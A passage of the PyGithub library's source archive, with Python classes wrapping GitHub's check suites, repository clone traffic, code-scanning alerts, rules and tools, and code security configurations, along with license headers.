terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class CheckRunOutput(NonCompletableGithubObject): """ This class represents the output of check run. The OpenAPI schema can be found at - /components/schemas/check-run/properties/output """ def _initAttributes(self) -> None: self._annotations_count: Attribute[int] = NotSet self._annotations_url: Attribute[str] = NotSet self._summary: Attribute[str] = NotSet self._text: Attribute[str] = NotSet self._title: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"title": self._title.value}) @property def annotations_count(self) -> int: return self._annotations_count.value @property def annotations_url(self) -> str: return self._annotations_url.value @property def summary(self) -> str: return self._summary.value @property def text(self) -> str: return self._text.value @property def title(self) -> str: return self._title.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "annotations_count" in attributes: # pragma no branch self._annotations_count = self._makeIntAttribute(attributes["annotations_count"]) if "annotations_url" in attributes: # pragma no branch self._annotations_url = self._makeStringAttribute(attributes["annotations_url"]) if "summary" in attributes: # pragma no branch self._summary = self._makeStringAttribute(attributes["summary"]) if "text" in attributes: # pragma no branch self._text = self._makeStringAttribute(attributes["text"]) if "title" in attributes: # pragma no branch self._title = self._makeStringAttribute(attributes["title"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CheckSuite.py0000644000175100001660000003055214756101563016656 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2020 Dhruv Manilawala # # Copyright 2020 Steve Kowalik # # Copyright 2020 Yannick Jadoul # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.CheckRun import github.GitCommit import github.GithubApp import github.PullRequest import github.Repository from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_defined, is_optional from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.CheckRun import CheckRun from github.GitCommit import GitCommit from github.GithubApp import GithubApp from github.PullRequest import PullRequest from github.Repository import Repository class CheckSuite(CompletableGithubObject): """ This class represents check suites. The reference can be found here https://docs.github.com/en/rest/reference/checks#check-suites The OpenAPI schema can be found at - /components/schemas/check-run/properties/check_suite - /components/schemas/check-suite """ def _initAttributes(self) -> None: self._after: Attribute[str] = NotSet self._app: Attribute[GithubApp] = NotSet self._before: Attribute[str] = NotSet self._check_runs_url: Attribute[str] = NotSet self._conclusion: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._head_branch: Attribute[str] = NotSet self._head_commit: Attribute[GitCommit] = NotSet self._head_sha: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._latest_check_runs_count: Attribute[int] = NotSet self._node_id: Attribute[str] = NotSet self._pull_requests: Attribute[list[PullRequest]] = NotSet self._repository: Attribute[Repository] = NotSet self._rerequestable: Attribute[bool] = NotSet self._runs_rerequestable: Attribute[bool] = NotSet self._status: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "url": self._url.value}) @property def after(self) -> str: """ :type: string """ self._completeIfNotSet(self._after) return self._after.value @property def app(self) -> GithubApp: """ :type: :class:`github.GithubApp.GithubApp` """ self._completeIfNotSet(self._app) return self._app.value @property def before(self) -> str: """ :type: string """ self._completeIfNotSet(self._before) return self._before.value @property def check_runs_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._check_runs_url) return self._check_runs_url.value @property def conclusion(self) -> str: """ :type: string """ self._completeIfNotSet(self._conclusion) return self._conclusion.value @property def created_at(self) -> datetime: """ :type: datetime.datetime """ self._completeIfNotSet(self._created_at) return self._created_at.value @property def head_branch(self) -> str: """ :type: string """ self._completeIfNotSet(self._head_branch) return self._head_branch.value @property def head_commit(self) -> GitCommit: """ :type: :class:`github.GitCommit.GitCommit` """ self._completeIfNotSet(self._head_commit) return self._head_commit.value @property def head_sha(self) -> str: """ :type: string """ self._completeIfNotSet(self._head_sha) return self._head_sha.value @property def id(self) -> int: """ :type: int """ self._completeIfNotSet(self._id) return self._id.value @property def latest_check_runs_count(self) -> int: """ :type: int """ self._completeIfNotSet(self._latest_check_runs_count) return self._latest_check_runs_count.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def pull_requests(self) -> list[PullRequest]: """ :type: list of :class:`github.PullRequest.PullRequest` """ self._completeIfNotSet(self._pull_requests) return self._pull_requests.value @property def repository(self) -> Repository: """ :type: :class:`github.Repository.Repository` """ self._completeIfNotSet(self._repository) return self._repository.value @property def rerequestable(self) -> bool: self._completeIfNotSet(self._rerequestable) return self._rerequestable.value @property def runs_rerequestable(self) -> bool: self._completeIfNotSet(self._runs_rerequestable) return self._runs_rerequestable.value @property def status(self) -> str: """ :type: string """ self._completeIfNotSet(self._status) return self._status.value @property def updated_at(self) -> datetime: """ :type: datetime.datetime """ self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: """ :type: string """ return self._url.value def rerequest(self) -> bool: """ :calls: `POST /repos/{owner}/{repo}/check-suites/{check_suite_id}/rerequest `_ :rtype: bool """ request_headers = {"Accept": "application/vnd.github.v3+json"} status, _, _ = self._requester.requestJson("POST", f"{self.url}/rerequest", headers=request_headers) return status == 201 def get_check_runs( self, check_name: Opt[str] = NotSet, status: Opt[str] = NotSet, filter: Opt[str] = NotSet, ) -> PaginatedList[CheckRun]: """ :calls: `GET /repos/{owner}/{repo}/check-suites/{check_suite_id}/check-runs `_ """ assert is_optional(check_name, str), check_name assert is_optional(status, str), status assert is_optional(filter, str), filter url_parameters: dict[str, Any] = {} if is_defined(check_name): url_parameters["check_name"] = check_name if is_defined(status): url_parameters["status"] = status if is_defined(filter): url_parameters["filter"] = filter return PaginatedList( github.CheckRun.CheckRun, self._requester, f"{self.url}/check-runs", url_parameters, headers={"Accept": "application/vnd.github.v3+json"}, list_item="check_runs", ) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "after" in attributes: # pragma no branch self._after = self._makeStringAttribute(attributes["after"]) if "app" in attributes: # pragma no branch self._app = self._makeClassAttribute(github.GithubApp.GithubApp, attributes["app"]) if "before" in attributes: # pragma no branch self._before = self._makeStringAttribute(attributes["before"]) if "check_runs_url" in attributes: # pragma no branch self._check_runs_url = self._makeStringAttribute(attributes["check_runs_url"]) if "conclusion" in attributes: # pragma no branch self._conclusion = self._makeStringAttribute(attributes["conclusion"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "head_branch" in attributes: # pragma no branch self._head_branch = self._makeStringAttribute(attributes["head_branch"]) if "head_commit" in attributes: # pragma no branch # This JSON swaps the 'sha' attribute for an 'id' attribute. # The GitCommit object only looks for 'sha' if "id" in attributes["head_commit"]: attributes["head_commit"]["sha"] = attributes["head_commit"]["id"] self._head_commit = self._makeClassAttribute(github.GitCommit.GitCommit, attributes["head_commit"]) if "head_sha" in attributes: # pragma no branch self._head_sha = self._makeStringAttribute(attributes["head_sha"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "latest_check_runs_count" in attributes: # pragma no branch self._latest_check_runs_count = self._makeIntAttribute(attributes["latest_check_runs_count"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "pull_requests" in attributes: # pragma no branch self._pull_requests = self._makeListOfClassesAttribute( github.PullRequest.PullRequest, attributes["pull_requests"] ) if "repository" in attributes: # pragma no branch self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "rerequestable" in attributes: # pragma no branch self._rerequestable = self._makeBoolAttribute(attributes["rerequestable"]) if "runs_rerequestable" in attributes: # pragma no branch self._runs_rerequestable = self._makeBoolAttribute(attributes["runs_rerequestable"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Clones.py0000644000175100001660000001137614756101563016055 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Justin Kufro # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.Traffic from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.Traffic import Traffic class Clones(NonCompletableGithubObject): """ This class represents the total number of clones and breakdown per day or week for a GitHub repository. The reference can be found here https://docs.github.com/en/rest/metrics/traffic#get-repository-clones The OpenAPI schema can be found at - /components/schemas/clone-traffic """ def _initAttributes(self) -> None: self._clones: Attribute[list[Traffic]] = NotSet self._count: Attribute[int] = NotSet self._uniques: Attribute[int] = NotSet def __repr__(self) -> str: return self.get__repr__( { "count": self._count.value, "uniques": self._uniques.value, } ) @property def clones(self) -> list[Traffic]: return self._clones.value @property def count(self) -> int: return self._count.value @property def uniques(self) -> int: return self._uniques.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "clones" in attributes: # pragma no branch self._clones = self._makeListOfClassesAttribute(github.Traffic.Traffic, attributes["clones"]) if "count" in attributes: # pragma no branch self._count = self._makeIntAttribute(attributes["count"]) if "uniques" in attributes: # pragma no branch self._uniques = self._makeIntAttribute(attributes["uniques"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CodeScanAlert.py0000644000175100001660000001577614756101563017311 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2022 Eric Nieuwland # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.CodeScanAlertInstance import github.CodeScanRule import github.CodeScanTool import github.GithubObject import github.NamedUser from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet from github.PaginatedList import PaginatedList class CodeScanAlert(NonCompletableGithubObject): """ This class represents alerts from code scanning. The reference can be found here https://docs.github.com/en/rest/reference/code-scanning. """ def _initAttributes(self) -> None: self._created_at: Attribute[datetime] = NotSet self._dismissed_at: Attribute[datetime | None] = NotSet self._dismissed_by: Attribute[github.NamedUser.NamedUser | None] = NotSet self._dismissed_reason: Attribute[str | None] = NotSet self._html_url: Attribute[str] = NotSet self._instances_url: Attribute[str] = NotSet self._most_recent_instance: Attribute[github.CodeScanAlertInstance.CodeScanAlertInstance] = NotSet self._number: Attribute[int] = NotSet self._rule: Attribute[github.CodeScanRule.CodeScanRule] = NotSet self._state: Attribute[str] = NotSet self._tool: Attribute[github.CodeScanTool.CodeScanTool] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"number": self.number}) @property def created_at(self) -> datetime: return self._created_at.value @property def dismissed_at(self) -> datetime | None: return self._dismissed_at.value @property def dismissed_by(self) -> github.NamedUser.NamedUser | None: return self._dismissed_by.value @property def dismissed_reason(self) -> str | None: return self._dismissed_reason.value @property def html_url(self) -> str: return self._html_url.value @property def instances_url(self) -> str: return self._instances_url.value @property def most_recent_instance(self) -> github.CodeScanAlertInstance.CodeScanAlertInstance: return self._most_recent_instance.value @property def number(self) -> int: return self._number.value @property def rule(self) -> github.CodeScanRule.CodeScanRule: return self._rule.value @property def state(self) -> str: return self._state.value @property def tool(self) -> github.CodeScanTool.CodeScanTool: return self._tool.value @property def url(self) -> str: return self._url.value def get_instances(self) -> PaginatedList[github.CodeScanAlertInstance.CodeScanAlertInstance]: """ Get instances. :calls: `GET` on the URL for instances as provided by Github. """ return PaginatedList( github.CodeScanAlertInstance.CodeScanAlertInstance, self._requester, self.instances_url, None, ) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "dismissed_at" in attributes: # pragma no branch self._dismissed_at = self._makeDatetimeAttribute(attributes["dismissed_at"]) if "dismissed_by" in attributes: # pragma no branch self._dismissed_by = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["dismissed_by"]) if "dismissed_reason" in attributes: # pragma no branch self._dismissed_reason = self._makeStringAttribute(attributes["dismissed_reason"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "instances_url" in attributes: # pragma no branch self._instances_url = self._makeStringAttribute(attributes["instances_url"]) if "most_recent_instance" in attributes: # pragma no branch self._most_recent_instance = self._makeClassAttribute( github.CodeScanAlertInstance.CodeScanAlertInstance, attributes["most_recent_instance"], ) if "number" in attributes: # pragma no branch self._number = self._makeIntAttribute(attributes["number"]) if "rule" in attributes: # pragma no branch self._rule = self._makeClassAttribute(github.CodeScanRule.CodeScanRule, attributes["rule"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "tool" in attributes: # pragma no branch self._tool = self._makeClassAttribute(github.CodeScanTool.CodeScanTool, attributes["tool"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CodeScanAlertInstance.py0000644000175100001660000001252714756101563020765 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2022 Eric Nieuwland # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.CodeScanAlertInstanceLocation from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.CodeScanAlertInstanceLocation import CodeScanAlertInstanceLocation class CodeScanAlertInstance(NonCompletableGithubObject): """ This class represents code scanning alert instances. The reference can be found here https://docs.github.com/en/rest/reference/code-scanning. """ def _initAttributes(self) -> None: self._analysis_key: Attribute[str] = NotSet self._classifications: Attribute[list[str]] = NotSet self._commit_sha: Attribute[str] = NotSet self._environment: Attribute[str] = NotSet self._location: Attribute[CodeScanAlertInstanceLocation] = NotSet self._message: Attribute[dict[str, Any]] = NotSet self._ref: Attribute[str] = NotSet self._state: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"ref": self.ref, "analysis_key": self.analysis_key}) @property def analysis_key(self) -> str: return self._analysis_key.value @property def classifications(self) -> list[str]: return self._classifications.value @property def commit_sha(self) -> str: return self._commit_sha.value @property def environment(self) -> str: return self._environment.value @property def location(self) -> CodeScanAlertInstanceLocation: return self._location.value @property def message(self) -> dict[str, Any]: return self._message.value @property def ref(self) -> str: return self._ref.value @property def state(self) -> str: return self._state.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "analysis_key" in attributes: # pragma no branch self._analysis_key = self._makeStringAttribute(attributes["analysis_key"]) if "classifications" in attributes: # pragma no branch self._classifications = self._makeListOfStringsAttribute(attributes["classifications"]) if "commit_sha" in attributes: # pragma no branch self._commit_sha = self._makeStringAttribute(attributes["commit_sha"]) if "environment" in attributes: # pragma no branch self._environment = self._makeStringAttribute(attributes["environment"]) if "environment" in attributes: # pragma no branch self._environment = self._makeStringAttribute(attributes["environment"]) if "location" in attributes: # pragma no branch self._location = self._makeClassAttribute( github.CodeScanAlertInstanceLocation.CodeScanAlertInstanceLocation, attributes["location"], ) if "message" in attributes: # pragma no branch self._message = self._makeDictAttribute(attributes["message"]) if "ref" in attributes: # pragma no branch self._ref = self._makeStringAttribute(attributes["ref"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CodeScanAlertInstanceLocation.py0000644000175100001660000001067314756101563022456 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2020 Dhruv Manilawala # # Copyright 2020 Steve Kowalik # # Copyright 2022 Eric Nieuwland # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class CodeScanAlertInstanceLocation(NonCompletableGithubObject): """ This class represents code scanning alert instance locations. The reference can be found here https://docs.github.com/en/rest/reference/code-scanning. """ def _initAttributes(self) -> None: self._end_column: Attribute[int] = NotSet self._end_line: Attribute[int] = NotSet self._path: Attribute[str] = NotSet self._start_column: Attribute[int] = NotSet self._start_line: Attribute[int] = NotSet def __repr__(self) -> str: return self.get__repr__( { "path": self.path, "start_line": self.start_line, "start_column": self.start_column, "end_line": self.end_line, "end_column": self.end_column, } ) def __str__(self) -> str: return f"{self.path} @ l{self.start_line}:c{self.start_column}-l{self.end_line}:c{self.end_column}" @property def end_column(self) -> int: return self._end_column.value @property def end_line(self) -> int: return self._end_line.value @property def path(self) -> str: return self._path.value @property def start_column(self) -> int: return self._start_column.value @property def start_line(self) -> int: return self._start_line.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "end_column" in attributes: # pragma no branch self._end_column = self._makeIntAttribute(attributes["end_column"]) if "end_line" in attributes: # pragma no branch self._end_line = self._makeIntAttribute(attributes["end_line"]) if "path" in attributes: # pragma no branch self._path = self._makeStringAttribute(attributes["path"]) if "start_column" in attributes: # pragma no branch self._start_column = self._makeIntAttribute(attributes["start_column"]) if "start_line" in attributes: # pragma no branch self._start_line = self._makeIntAttribute(attributes["start_line"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CodeScanRule.py0000644000175100001660000001207614756101563017137 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2020 Victor Zeng # # Copyright 2022 Eric Nieuwland # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class CodeScanRule(NonCompletableGithubObject): """ This class represents Alerts from code scanning. The reference can be found here https://docs.github.com/en/rest/reference/code-scanning. """ def _initAttributes(self) -> None: self._description: Attribute[str] = NotSet self._id: Attribute[str] = NotSet self._name: Attribute[str] = NotSet self._security_severity_level: Attribute[str] = NotSet self._severity: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self.id, "name": self.name}) @property def description(self) -> str: return self._description.value @property def id(self) -> str: return self._id.value @property def name(self) -> str: return self._name.value @property def security_severity_level(self) -> str: return self._security_severity_level.value @property def severity(self) -> str: return self._severity.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "id" in attributes: # pragma no branch self._id = self._makeStringAttribute(attributes["id"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "security_severity_level" in attributes: # pragma no branch self._security_severity_level = self._makeStringAttribute(attributes["security_severity_level"]) if "severity" in attributes: # pragma no branch self._severity = self._makeStringAttribute(attributes["severity"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CodeScanTool.py0000644000175100001660000001070114756101563017136 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2022 Eric Nieuwland # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class CodeScanTool(NonCompletableGithubObject): """ This class represents code scanning tools. The reference can be found here https://docs.github.com/en/rest/reference/code-scanning. """ def _initAttributes(self) -> None: self._guid: Attribute[str] = NotSet self._name: Attribute[str] = NotSet self._version: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__( { "guid": self.guid, "name": self.name, "version": self.version, } ) @property def guid(self) -> str: return self._guid.value @property def name(self) -> str: return self._name.value @property def version(self) -> str: return self._version.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "guid" in attributes: # pragma no branch self._guid = self._makeStringAttribute(attributes["guid"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "version" in attributes: # pragma no branch self._version = self._makeStringAttribute(attributes["version"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CodeSecurityConfig.py0000644000175100001660000002326314756101563020360 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2025 Bill Napier # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class CodeSecurityConfig(NonCompletableGithubObject): """ This class represents Configurations for Code Security. The reference can be found here https://docs.github.com/en/rest/code-security/configurations. """ def _initAttributes(self) -> None: self._id: Attribute[int] = NotSet self._name: Attribute[str] = NotSet self._advanced_security: Attribute[str] = NotSet self._code_scanning_default_setup: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._dependabot_alerts: Attribute[str] = NotSet self._dependabot_security_updates: Attribute[str] = NotSet self._dependency_graph: Attribute[str] = NotSet self._dependency_graph_autosubmit_action: Attribute[str] = NotSet self._description: Attribute[str] = NotSet self._enforcement: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._private_vulnerability_reporting: Attribute[str] = NotSet self._secret_scanning: Attribute[str] = NotSet self._secret_scanning_delegated_bypass: Attribute[str] = NotSet self._secret_scanning_non_provider_patterns: Attribute[str] = NotSet self._secret_scanning_push_protection: Attribute[str] = NotSet self._secret_scanning_validity_checks: Attribute[str] = NotSet self._target_type: Attribute[str] = NotSet self._url: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet def __repr__(self) -> str: return self.get__repr__( { "id": self.id, "name": self.name, "description": self.description, } ) @property def advanced_security(self) -> str: return self._advanced_security.value @property def code_scanning_default_setup(self) -> str: return self._code_scanning_default_setup.value @property def created_at(self) -> datetime: return self._created_at.value @property def dependabot_alerts(self) -> str: return self._dependabot_alerts.value @property def dependabot_security_updates(self) -> str: return self._dependabot_security_updates.value @property def dependency_graph(self) -> str: return self._dependency_graph.value @property def dependency_graph_autosubmit_action(self) -> str: return self._dependency_graph_autosubmit_action.value @property def description(self) -> str: return self._description.value @property def enforcement(self) -> str: return self._enforcement.value @property def html_url(self) -> str: return self._html_url.value @property def id(self) -> int: return self._id.value @property def name(self) -> str: return self._name.value @property def private_vulnerability_reporting(self) -> str: return self._private_vulnerability_reporting.value @property def secret_scanning(self) -> str: return self._secret_scanning.value @property def secret_scanning_delegated_bypass(self) -> str: return self._secret_scanning_delegated_bypass.value @property def secret_scanning_non_provider_patterns(self) -> str: return self._secret_scanning_non_provider_patterns.value @property def secret_scanning_push_protection(self) -> str: return 